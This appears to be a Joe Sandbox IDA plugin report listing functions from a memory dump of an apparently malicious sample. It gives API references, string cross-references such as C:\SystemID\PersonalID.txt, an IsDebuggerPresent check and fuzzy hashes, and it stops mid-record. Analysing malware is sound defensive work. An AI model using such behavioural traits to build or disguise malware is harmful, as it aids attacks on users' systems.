Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(008A0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(008A0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2174466574.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.2174466574.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

